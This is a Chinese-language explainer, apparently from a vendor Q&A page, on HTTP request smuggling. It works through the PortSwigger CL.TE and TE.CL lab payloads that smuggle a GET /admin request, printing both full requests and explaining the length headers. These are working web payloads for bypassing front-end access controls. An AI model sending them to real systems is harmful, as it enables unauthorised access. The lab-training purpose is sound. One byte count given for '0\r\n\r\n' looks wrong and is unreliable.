You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

HTTP请求走私:CL.TE与TE.CL差异及PortSwigger实验疑问

HTTP请求走私CL.TE与TE.CL场景实验解析

CL.TE场景:为什么要加x=?

在CL.TE实验里,用来访问/admin的请求是这样的:

POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 3

x=

你对x=的理解有误,它不是用来抵消后续请求的。核心逻辑是:前端服务器遵循Content-Length:139,会读取完整的请求体;但后端服务器遵循Transfer-Encoding: chunked,看到0就判定当前请求结束,后面的GET /admin...会被当作新的独立请求处理。

而我们在植入的GET请求里写的Content-Length:3,是给后端服务器看的,要求该请求体长度为3字节。x=加上换行符刚好凑够3个字符,这样后端解析时不会因为长度不匹配报错,能完整执行这个/admin请求。

TE.CL场景:为什么不用加额外内容?

TE.CL实验的请求是这样的:

POST / HTTP/1.1
Host: 0ad000d60451e65680b9c1a500310065.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

6a
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 6

0

这里不需要加x=这类内容,是因为TE.CL的解析逻辑和CL.TE完全相反:

  • 前端服务器遵循Transfer-Encoding: chunked,会读取6a(十进制106)长度的内容,读到0就判定请求结束;
  • 后端服务器只认Content-Length:4,只会读取前4个字节(即6a\r\n),剩下的GET /admin...全部会被当作新请求。

而植入的GET请求里的Content-Length:6,对应的是后面的0\r\n\r\n(刚好6字节),完全满足长度要求,后端能正常解析这个GET请求的边界,所以不需要额外加内容填充,也不存在需要抵消Host头的情况。

内容的提问来源于stack exchange,提问作者Wissem Flitti

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.12 05:13:11